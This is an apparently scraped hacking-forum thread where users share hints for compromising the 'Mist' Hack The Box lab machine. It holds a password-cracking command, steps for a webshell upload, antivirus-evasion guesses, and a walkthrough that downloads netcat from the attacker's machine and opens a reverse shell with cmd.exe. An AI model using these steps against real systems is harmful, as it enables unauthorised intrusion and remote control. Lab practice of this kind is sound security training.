[xxxbfacc]

Poking at DC01. Haven't found anything interesting yet.
I think next step is shell on the DC and not escalation on MS01.

[jahman]

Upload files to C:\xampp\htdocs to bypass execution restrictions.

hello,

Can you explain how did you find that the  "c:/xampp/htdocs/ path is excluded from bitdefender analysis?
i know that it can be referenced in the "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" registry key, but access is denied.

Thanks!

[xxxbfacc]

Educated guess.

Upload files to C:\xampp\htdocs to bypass execution restrictions.

hello,

Can you explain how did you find that the  "c:/xampp/htdocs/ path is excluded from bitdefender analysis?
i know that it can be referenced in the "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" registry key, but access is denied.

Thanks!

[ghostess256]

got foothold earlier, to do so it's not that hard :
1 - go to mist.htb/data/modules/albums/albums_getimage.php?image=admin_backup.php
2 - crack the password
3 - go to http://mist.htb/admin.php?action=installmodule and upload zip with an exe and a webshell, then run the exe through the webshell
now i found out there is some sort of av, i can't download or run winpeas.

Failed to crack Password any hints

[adolfo]

got foothold earlier, to do so it's not that hard :
1 - go to mist.htb/data/modules/albums/albums_getimage.php?image=admin_backup.php
2 - crack the password
3 - go to http://mist.htb/admin.php?action=installmodule and upload zip with an exe and a webshell, then run the exe through the webshell
now i found out there is some sort of av, i can't download or run winpeas.

Failed to crack Password any hints

john --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt --format=Raw-SHA512

[fuliye]

got foothold earlier, to do so it's not that hard :
1 - go to mist.htb/data/modules/albums/albums_getimage.php?image=admin_backup.php
2 - crack the password
3 - go to http://mist.htb/admin.php?action=installmodule and upload zip with an exe and a webshell, then run the exe through the webshell
now i found out there is some sort of av, i can't download or run winpeas.

hey ,i can't find the hash T_T

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[jahman]

we can write in the "C:\Common Applications " directory, maybe it is the path.

Windows is also regularly  complaining about a possible security exploit  attempt: 

Get-EventLog -LogName system  -Index 10467 | fl


Index              : 10467
EntryType          : Information
InstanceId        : 1
Message            : Possible detection of CVE: 2024-03-28T14:58:34.3827947Z
                    Additional Information: 2024-03-28T14:58:34.3684751Z

                    This Event is generated when an attempt to exploit a known vulnerability (2024-03-28T14:58:34.3827947Z) is detected.
                    This Event is raised by a User mode process.

Category          : (5)
CategoryNumber    : 5
ReplacementStrings : {2024-03-28T14:58:34.3827947Z, 2024-03-28T14:58:34.3684751Z, 1, \Device\HarddiskVolume3\Windows\System32\svchost.exe...}
Source            : Microsoft-Windows-Kernel-General
TimeGenerated      : 3/28/2024 7:58:34 AM
TimeWritten        : 3/28/2024 7:58:34 AM
UserName          : NT AUTHORITY\LOCAL SERVICE

There is 2 scripts referenced in the powershell log 

Get-EventLog -LogName 'Windows PowerShell' |fl | findstr HostApplicat | get-unique
...
                        HostApplication=powershell.exe C:\Users\Brandon.Keywarp\AppData\link.ps1
                        HostApplication=powershell.exe -c C:\users\administrator\appdata\pluck.ps1
...

[fuliye]

when i upload the zip , i can't find the getshell way,bro is where T_T

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[xxxbfacc]

Shell as Brandon is next step

[fuliye]

After gaining a shell and becoming svc user .. What is the next step any hint ?

How you get the shell? you import the module but what shell you use and how I can bypass the av? because the shell kick me

Ok guys get a pownyshell from here : https://github.com/flozz/p0wny-shell/blo.../shell.php
After that go to http://mist.htb/data/modules .... And so on after y get shell.php click on it ok 
Now u have a shell .. U can forward it to ur kali .. Firstly download on kali nc64.exe after that set a web 
Server python -m http.server and from powny shell write curl http://kali ip:port/nc64.exe -o nc.exe
Now set nc -nlvp 4444 and  from powny shell write nc.exe kali ip 4444 -e cmd.exe now u have a shell on ur kali

---

So any hint after gaining the shell ?

thx for help bro

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.